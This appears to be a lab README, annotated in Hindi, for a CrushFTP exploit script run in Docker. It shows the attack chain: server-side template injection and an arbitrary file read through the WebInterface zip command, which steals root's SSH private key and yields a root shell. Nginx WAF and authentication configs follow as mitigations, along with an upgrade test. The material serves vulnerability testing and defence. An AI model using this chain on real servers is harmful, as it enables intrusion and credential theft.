pip install requests rich

docker-compose up -d

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

whoami
# अपेक्षित: root

id
# अपेक्षित: uid=0(root) gid=0(root) groups=0(root)

hostname
# अपेक्षित: <container_id>

अप्रमाणित हमलावर
        │
        ▼
GET /WebInterface/          ← अनाम CrushAuth + currentAuth कुकीज़ प्राप्त करता है
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI पुष्टि — सर्वर द्वारा टेम्पलेट का मूल्यांकन किया गया
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← पूर्ण इंस्टॉलेशन पथ लीक करता है
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← मनमानी फ़ाइल पढ़ना
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← पूर्ण रूट शेल

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

हमलावर -> NGINX WAF (पोर्ट 80) -> दुर्भावनापूर्ण को अवरुद्ध करता है -> 403 निषिद्ध
                             -> स्वच्छ को अग्रेषित करता है -> CrushFTP:8080

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

# पुष्टि करें कि अप्रमाणित अनुरोध NGINX द्वारा अस्वीकार कर दिया गया है
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# अपेक्षित: 401 अनधिकृत

# वैकल्पिक: प्रमाणित अनुरोध अग्रेषित किया जाना चाहिए
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

# v11 के विरुद्ध शोषण चलाएं - विफल होना चाहिए
# नोट: इस रिपॉजिटरी की स्क्रिप्ट -t/--target का उपयोग करती है।
python3 crushed.py -t http://localhost:8080

# अपेक्षित: शोषण कोई आउटपुट या कनेक्शन त्रुटि नहीं लौटाता